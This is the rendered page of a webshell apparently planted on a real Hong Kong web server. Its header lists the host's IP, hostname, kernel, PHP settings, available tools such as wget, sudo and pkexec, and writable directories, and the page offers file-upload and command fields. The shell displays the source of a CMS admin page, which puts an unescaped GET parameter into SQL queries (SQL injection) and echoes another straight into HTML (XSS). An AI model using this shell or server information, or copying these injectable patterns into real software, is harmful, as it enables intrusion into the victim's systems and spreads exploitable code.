403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/litedemo/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/litedemo/webadmin/prodcat_index.php
<?php
include 'config.php';

// Check if the user is logged in

if ((!isSet($_SESSION['loginname'])) || ($loggin <> '1'))
{
header("Location: login.php");
exit;
}
require("configure.php");
$pid = $_GET['pid'];
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Content Management System (CMS) - Powered by One Solution Limited</title>
<link rel="stylesheet" type="text/css" href="css/style.css" />
<!-- Main Menu -->
<link rel="stylesheet" type="text/css" href="css/menu.css" />
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript" src="js/ddaccordion.js"></script>
<script type="text/javascript" src="js/menuddaccordion.js"></script>
<!-- End Main Menu -->
<script type="text/javascript">
function DeleteProductCategory(parentid,prodcatid,prodcatsort)
{
  if (confirm("Are you sure you want to delete?"))
	{
		window.location.href = 'prodcat_delete.php?parentid='+parentid+'&prodcatid='+prodcatid+'&prodcatsort='+prodcatsort;	
	}
}
function DeleteProductdetailCategory(prodcatid,prodid,prodsort)
{
  if (confirm("Are you sure you want to delete?"))
	{
		window.location.href = 'proddet_delete.php?prodcatid='+prodcatid+'&prodid='+prodid+'&prodsort='+prodsort;	
	}
}
</script>

</head>

<body>
<table width="1000" height="600" border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td width="200" align="left" valign="top"><table width="200" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td height="70" align="left" valign="middle">&nbsp;</td>
	  </tr>
	  <tr>
	  	<td width="200" align="left" valign="top"><!-- Main Menu --><?php require("menu.php");?><!-- End Main Menu --></td>
	</tr>
	</table></td>
	<td width="800" align="left" valign="top"><table width="800" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td><table width="800" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td height="70" class="pagetitletxt">&nbsp;&nbsp;</td>
			  <?php if (getLevelNum($pid) <= 2) { echo '<td width="100" align="center" class="icontxt"><a href="prodcat_addform.php?pid='.$pid.'&lv='.getLevelNum($pid).'"><img src="images/iconNew.png" alt="Add" width="32" height="32" border="0" /><br />&nbsp;Add Category&nbsp;</a></td>'; }
			 ?>
            </tr>
			
          </table></td>
      </tr>
	 <tr>
        <td class="pagetitletxt">&nbsp;&nbsp;<b><img src="images/iconList.jpg" width="48" height="48" align="absmiddle" /> Product Category </b></td>
      </tr>
	  <tr>
        <td height="25" align="left" valign="middle" class="msg"><?php echo $_GET['msg']; ?></td>
      </tr>
	  <tr>
        <td height="35" align="left" valign="middle" class="content"><?php 
		echo "<b><a href='prodcat_index.php?pid=0' />You are here: All Category</a>". getLevel($pid) ."</b>";
		?></td>
      </tr>
	  <?php if (getLevelNum($pid) <= 2) { ?>
      <tr>
        <td align="left" valign="middle"><table width="800" border="0" cellpadding="0" cellspacing="0">
            <tr>
              <td width="10" class="listtitletxt"></td>
			  <td width="40" class="listtitletxt">Sort</td>
			  <td width="600" class="listtitletxt">Categories</td>
			  <td width="20" class="listtitletxt"></td>
			  <td width="20" class="listtitletxt"></td>
			  <td width="20" class="listtitletxt"></td>
            </tr>
            <?php
			$result = mysql_query("select * from prodcategory where parentid = ". $pid ." order by prodcatsort ASC, prodcatid ASC ");
			while ($row = mysql_fetch_array($result,MYSQL_ASSOC))
			{
				print "<tr>";
				print "<td class='listtxt' style='padding-left:5'>&nbsp;</td>";
				print "<td class='listtxt' valign='middle' align='left'>";
				print "<a href='prodcat_sort.php?status=up&parentid=".$row{'parentid'}."&prodcatid=".$row{'prodcatid'}."&sort=".$row{'prodcatsort'}."'>";
				print "<img src='images/up.gif' alt='Up' border='0'></a>&nbsp;";				
				print "<a href='prodcat_sort.php?status=down&parentid=".$row{'parentid'}."&prodcatid=".$row{'prodcatid'}."&sort=".$row{'prodcatsort'}."'>";
				print "<img src='images/down.gif' alt='Down' border='0'></a>";
				print "</td>";
				//print "<td class='listtxt' style='padding-left:5'><a href='prodcat_index.php?pid=".$row{'prodcatid'}."'>".$row{'prodcattitleen'}."</a></td>";
				if ($row{'prodcattitleen'} <> '') {
					print "<td class='listtxt' style='padding-left:5'><a href='prodcat_index.php?pid=".$row{'prodcatid'}."'>".$row{'prodcattitleen'}."</a></td>";
				} else if ($row{'prodcattitletc'} <> '') {
					print "<td class='listtxt' style='padding-left:5'><a href='prodcat_index.php?pid=".$row{'prodcatid'}."'>".$row{'prodcattitletc'}."</a></td>";
				} else if ($row{'prodcattitlesc'} <> '') {
					print "<td class='listtxt' style='padding-left:5'><a href='prodcat_index.php?pid=".$row{'prodcatid'}."'>".$row{'prodcattitlesc'}."</a></td>";
				}				
				//Status
				print "<td class='listtxt' align='center'>";
				if ($row{'prodcatstatus'} == '1') // Enable
				{
					print "<a href='prodcat_status.php?prodcatid=".$row{'prodcatid'}."&parentid=".$row{'parentid'}."'>";
					print "<img src='images/tick.png' title='Enable' alt='Enable' border='0' hspace='2'></a>";
				}
				else // Disable
				{
					print "<a href='prodcat_status.php?prodcatid=".$row{'prodcatid'}."&parentid=".$row{'parentid'}."'>";
					print "<img src='images/cross.png' title='Disable' alt='Disable' border='0' hspace='2'></a>";
				}
				print "</td>";
				
				// Modify			
				print "<td class='listtxt' align='center'><a href='#' onClick=\"window.location='prodcat_modifyform.php?prodcatid=".$row{'prodcatid'}."'\"><img src='images/btnModify.png' title='Modify' alt='Modify' hspace='2' border='0'></a></td>";
				
				// Delete
				print "<td class='listtxt' align='center'><a href='#' onClick=\"DeleteProductCategory(".$row{'parentid'}.", ".$row{'prodcatid'}.", ".$row{'prodcatsort'}.")\"><img src='images/btnDelete.png' title='Delete' alt='Delete' hspace='2' border='0'></a></td>";
				print "</tr>";
			}
			//mysql_close($dbh);
			?>
        </table></td>
      </tr>
	  <?php } ?>
	  <tr><td height="20"><hr /></td></tr>
	  
	  <!-- Page Content -->
	  <?php if (getLevelNum($pid) > 2) {
	  $result2 = mysql_query("select * from prodcategory where prodcatid = ". $pid ." order by prodcatsort ASC, prodcatid ASC ");
	  $row2 = mysql_fetch_array($result2,MYSQL_ASSOC);
	   ?>
	  <tr>
        <td><table width="800" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td height="70" class="pagetitletxt">&nbsp;&nbsp;<b><img src="images/iconList.jpg" width="48" height="48" align="absmiddle" />Product detail: &nbsp;<?=$row2{'prodcattitleen'};?></b></td>
              <td width="130" align="center" class="icontxt"><a href="proddet_addform.php?pid=<?=$row2{'parentid'};?>&prodcatid=<?=$row2{'prodcatid'};?>"><img src="images/iconNew.png" alt="Add" width="32" height="32" border="0" /><br />
                &nbsp;Add Product Details&nbsp;</a></td>
            </tr>
          </table></td>
      </tr>
	  <tr>
        <td align="left" valign="top" class="content"><table width="800" border="0" cellpadding="0" cellspacing="0">
            <tr>
              <td width="10" class="listtitletxt"></td>
			  <td width="40" class="listtitletxt">Sort</td>
			  <td width="100" class="listtitletxt">Code</td>
			  <td width="650" class="listtitletxt">Name</td>
			  <td width="20" class="listtitletxt"></td>
			  <td width="20" class="listtitletxt"></td>
			  <td width="20" class="listtitletxt"></td>
            </tr>
            <?php
			//echo 'Parentid = '.$row{'parentid'}.'<br>';
			//echo 'catid = '.$row{'catid'}.'<br>';
			$sql3 = "SELECT * FROM prodcategory pc INNER JOIN proddetail pd ON pc.prodcatid = pd.prodcatid WHERE pd.prodcatid = ".$row2{'prodcatid'}." ORDER BY pd.prodsort ASC, pd.prodcode ASC, pd.prodid ASC ";
			//echo $sql;
			$result3 = mysql_query($sql3);			
			while ($row3 = mysql_fetch_array($result3,MYSQL_ASSOC))			{
		
				print "<tr>";
				print "<td class='listtxt' style='padding-left:5'>&nbsp;</td>";
				print "<td class='listtxt' valign='middle' align='left'>";
				print "<a href='proddet_sort.php?prodcatid=".$row3{'prodcatid'}."&status=up&prodid=".$row3{'prodid'}."&sort=".$row3{'prodsort'}."'>";
				print "<img src='images/up.gif' alt='Up' border='0'></a>&nbsp;";				
				print "<a href='proddet_sort.php?prodcatid=".$row3{'prodcatid'}."&status=down&prodid=".$row3{'prodid'}."&sort=".$row3{'prodsort'}."'>";
				print "<img src='images/down.gif' alt='Down' border='0'></a>";
				print "</td>";
				print "<td class='listtxt' style='padding-left:5'>".$row3{'prodcode'}."</td>";
				//print "<td class='listtxt' style='padding-left:5'>".$row3{'prodnameen'}."</td>";
				if ($row3{'prodnameen'} <> '') {
					print "<td class='listtxt' style='padding-left:5'>".$row3{'prodnameen'}."</td>";
				} else if ($row3{'prodnametc'} <> '') {
					print "<td class='listtxt' style='padding-left:5'>".$row3{'prodnametc'}."</td>";
				} else if ($row3{'prodnamesc'} <> '') {
					print "<td class='listtxt' style='padding-left:5'>".$row3{'prodnamesc'}."</td>";
				}
				
				//Status
				print "<td class='listtxt' align='center'>";
				if ($row3{'prodstatus'} == '1') // Enable
				{
					print "<a href='proddet_status.php?prodcatid=".$row3{'prodcatid'}."&prodid=".$row3{'prodid'}."'>";
					print "<img src='images/tick.png' title='Enable' alt='Enable' border='0' hspace='2'></a>";
				}
				else // Disable
				{
					print "<a href='proddet_status.php?prodcatid=".$row3{'prodcatid'}."&prodid=".$row3{'prodid'}."'>";
					print "<img src='images/cross.png' title='Disable' alt='Disable' border='0' hspace='2'></a>";
				}
				print "</td>";
				
				// Modify			
				print "<td class='listtxt' align='center'><a href='#' onClick=\"window.location='proddet_modifyform.php?prodcatid=".$row3{'prodcatid'}."&prodid=".$row3{'prodid'}."'\"><img src='images/btnModify.png' title='Modify' alt='Modify' hspace='2' border='0'></a></td>";
				
				// Delete
				print "<td class='listtxt' align='center'><a href='#' onClick=\"DeleteProductdetailCategory(".$row3{'prodcatid'}.", ".$row3{'prodid'}.", ".$row3{'prodsort'}.")\"><img src='images/btnDelete.png' title='Delete' alt='Delete' hspace='2' border='0'></a></td>";
				print "</tr>";
			}
			mysql_close($dbh);
			?>
        </table>
		</td>
      </tr>
	  <?php } // check $pid ?>
	  <!-- End Page Content -->
	  
</table>
</td></tr>
</table>
</body>
</html>
<?php
// echo path
function getLevel($p)
{
	$sql1 = "select * from prodcategory where prodcatid = ". $p ." ";
	$result1 = mysql_query($sql1);
	while ($row1 = mysql_fetch_array($result1,MYSQL_ASSOC))
	{
		if ($row1{parentid} <> 0)
		{
			//$n =  $n . getLevel($row1{'parentid'}) ." > <a href='prodcat_index.php?pid=". $row1{'prodcatid'} ."'>". $row1{'prodcattitleen'} ."</a>";
			if ($row1{'prodcattitleen'} <> '') {
				$n =  $n . getLevel($row1{'parentid'}) ." > <a href='prodcat_index.php?pid=". $row1{'prodcatid'} ."'>". $row1{'prodcattitleen'} ."</a>";
			} else if ($row1{'prodcattitletc'} <> '') {
				$n =  $n . getLevel($row1{'parentid'}) ." > <a href='prodcat_index.php?pid=". $row1{'prodcatid'} ."'>". $row1{'prodcattitletc'} ."</a>";
			} else if ($row1{'prodcattitlesc'} <> '') {
				$n =  $n . getLevel($row1{'parentid'}) ." > <a href='prodcat_index.php?pid=". $row1{'prodcatid'} ."'>". $row1{'prodcattitlesc'} ."</a>";
			}
		}
		else
		{
			//$n = " > <a href='prodcat_index.php?pid=". $row1{'prodcatid'} ."'>". $row1{'prodcattitleen'} ."</a>";
			if ($row1{'prodcattitleen'} <> '') {
				$n = " > <a href='prodcat_index.php?pid=". $row1{'prodcatid'} ."'>". $row1{'prodcattitleen'} ."</a>";
			} else if ($row1{'prodcattitletc'} <> '') {
				$n = " > <a href='prodcat_index.php?pid=". $row1{'prodcatid'} ."'>". $row1{'prodcattitletc'} ."</a>";
			} else if ($row1{'prodcattitlesc'} <> '') {
				$n = " > <a href='prodcat_index.php?pid=". $row1{'prodcatid'} ."'>". $row1{'prodcattitlesc'} ."</a>";
			}
		}
	}
	return $n;
}

function getLevelNum($p)
{
	$i_lv =1;
	$sql1 = "select * from prodcategory where prodcatid = ". $p ." ";
	$result1 = mysql_query($sql1);
	if( mysql_num_rows($result1) ==0){
		return $i_lv;
	}
	$i_lv++;
	while($row1 = mysql_fetch_array($result1,MYSQL_ASSOC)){
		if(strlen($row1["parentid"]) == 0 || $row1["parentid"] == 0 ){
			return $i_lv;
		}
		
		$sql1 = "select * from prodcategory where prodcatid = ".$row1["parentid"] ." ";
		$result1 = mysql_query($sql1);
		$i_lv++;
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit